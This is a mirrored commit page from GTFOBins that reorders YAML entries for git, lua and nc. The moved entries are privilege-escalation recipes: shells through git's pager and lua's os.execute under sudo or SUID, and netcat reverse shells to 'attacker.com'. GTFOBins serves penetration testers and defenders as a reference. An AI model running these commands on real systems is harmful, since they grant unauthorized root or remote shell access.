mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-24 13:59:17 +01:00
Reorder functions in git, lua, and nc
This commit is contained in:
parent
38cd886b36
commit
0f422cdd6a
@ -4,12 +4,12 @@ functions:
|
||||
- code: |
|
||||
export PAGER=/usr/bin/id
|
||||
git -p help
|
||||
suid-limited:
|
||||
- code: |
|
||||
export PAGER=/usr/bin/id
|
||||
./git -p help
|
||||
sudo-enabled:
|
||||
- code: |
|
||||
export PAGER=/usr/bin/id
|
||||
sudo -E git -p help
|
||||
suid-limited:
|
||||
- code: |
|
||||
export PAGER=/usr/bin/id
|
||||
./git -p help
|
||||
---
|
||||
|
@ -59,8 +59,8 @@ functions:
|
||||
- code: lua -e 'local f=io.open("file_to_write", "wb"); f:write("data"); io.close(f);'
|
||||
file-read:
|
||||
- code: lua -e 'local f=io.open("file_to_read", "rb"); print(f:read("*a")); io.close(f);'
|
||||
suid-limited:
|
||||
- code: ./lua -e 'os.execute("/bin/sh")'
|
||||
sudo-enabled:
|
||||
- code: sudo lua -e 'os.execute("/bin/sh")'
|
||||
suid-limited:
|
||||
- code: ./lua -e 'os.execute("/bin/sh")'
|
||||
---
|
||||
|
@ -24,16 +24,16 @@ functions:
|
||||
LPORT=12345
|
||||
LFILE=file_to_save
|
||||
nc -l -p $LPORT > "$LFILE"
|
||||
suid-limited:
|
||||
- description: Run `nc -l -p 12345` on the attacker box to receive the shell. This only works with netcat traditional.
|
||||
code: |
|
||||
RHOST=attacker.com
|
||||
RPORT=12345
|
||||
./nc -e /bin/sh $RHOST $RPORT
|
||||
sudo-enabled:
|
||||
- description: Run `nc -l -p 12345` on the attacker box to receive the shell. This only works with netcat traditional.
|
||||
code: |
|
||||
RHOST=attacker.com
|
||||
RPORT=12345
|
||||
sudo nc -e /bin/sh $RHOST $RPORT
|
||||
suid-limited:
|
||||
- description: Run `nc -l -p 12345` on the attacker box to receive the shell. This only works with netcat traditional.
|
||||
code: |
|
||||
RHOST=attacker.com
|
||||
RPORT=12345
|
||||
./nc -e /bin/sh $RHOST $RPORT
|
||||
---
|
||||
|
Loading…
Reference in New Issue
Block a user